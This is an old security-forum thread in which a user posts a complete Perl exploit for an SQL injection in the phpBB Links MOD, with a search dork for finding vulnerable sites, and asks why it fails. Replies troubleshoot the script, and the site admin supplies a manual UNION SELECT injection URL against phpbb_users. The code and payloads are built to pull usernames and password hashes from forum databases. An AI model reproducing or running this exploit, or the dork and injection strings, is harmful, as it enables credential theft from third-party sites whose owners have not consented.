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IT Security and Insecurity Portal |
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Doesn't work for me |
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 Posted: Wed Nov 21, 2007 4:15 pm |
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| astropi |
| Regular user |
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| Joined: Nov 21, 2007 |
| Posts: 20 |
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Hi everybody, i have founded an exploit from warex.us and i wanted to try it in my forum to see if i suck in security  (i do suck).
Do you remember this perl code:
| Code: | #!/usr/bin/perl
print q{
phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit
Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20WHERE%20user_id=2/*
};
use IO::Socket;
print q{
=> Insert URL
=> without ( http )
=> };
$server = <STDIN>;
chop ($server);
print q{
=> Insert directory
=> es: /forum/ - /phpBB2/
=> };
$dir = <STDIN>;
chop ($dir);
print q{
=> User ID
=> Number:
=> };
$user = <STDIN>;
chop ($user);
if (!$ARGV[2]) {
}
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20WHERE%20user_id=".$user."/*";
print "
Exploit in process...\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "Exploit failed";
print "Exploit\r\n";
print "in process...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "Exploit finished!\r\n\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "MD5-Hash is: ".$1."\r\n";
}
exit();
}
}
# milw0rm.com [2007-08-31]
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Well i have followed all the steps but at the end, i have the sm eproblem as diegocure15 that have posted into this thread: http://www.waraxe.us/modules.php?name=Forums&file=viewtopic&t=1916 .
I am kinda new to those things so i will look like a newb( i am  ). I have tried the url that warex gived in the same thread but it didn't work..
The phpbb forum is really mine and if admins want proof i can send them via pm.
Thank you. |
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| Posted: Thu Nov 22, 2007 4:47 pm |
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| pexli |
| Valuable expert |
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| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
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| Screenshot of the errors in studio pls. |
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| Posted: Sat Nov 24, 2007 6:13 pm |
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| astropi |
| Regular user |
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| Joined: Nov 21, 2007 |
| Posts: 20 |
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Well there isn't any error, the only problem is that the md5 hash don't appear. It just say "exploit finished". After, when i do log myself from the account that i have specialy created to try this, nothing have happened. I have did it from my computer.
By the way, here is a screenshot that i have made, hoping that this will help you: http://img112.imageshack.us/img112/1646/commanduy7.gif .
Thank you very much. |
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Last edited by astropi on Sat Nov 24, 2007 6:51 pm; edited 1 time in total |
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| Posted: Sat Nov 24, 2007 6:41 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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There can be many reasons:
1. security hole is pacthed
2. mysql version is < 4.x, so no UNION support
3. and finally - sql prefix can be different from default "phpbb_" - this is very common in real world phpbb installations!
So what I can suggest - try sql injection manually and if you are lucky, then phpbb will show nice error message and you will find out the reason, why exploit is not working.
I suggest to try something like this:
http://www.target.com/links.php?t=search&search_keywords=asd&start=1,1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12+FROM+phpbb_users/*
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| Posted: Sat Nov 24, 2007 6:54 pm |
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| astropi |
| Regular user |
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| Joined: Nov 21, 2007 |
| Posts: 20 |
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| waraxe wrote: | There can be many reasons:
I suggest to try something like this:
http://www.target.com/links.php?t=search&search_keywords=asd&start=1,1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12+FROM+phpbb_users/*
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I have already tryed this but it's showed me what browser i am using and what is my Ip, hopefully it's my own website. Thank you very much Waraxe, don't forget to look at my screenshot if you have any time: http://img112.imageshack.us/img112/1646/commanduy7.gif |
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| Posted: Sat Nov 24, 2007 8:53 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| PM me url to that phpbb installation and i can take a quick look |
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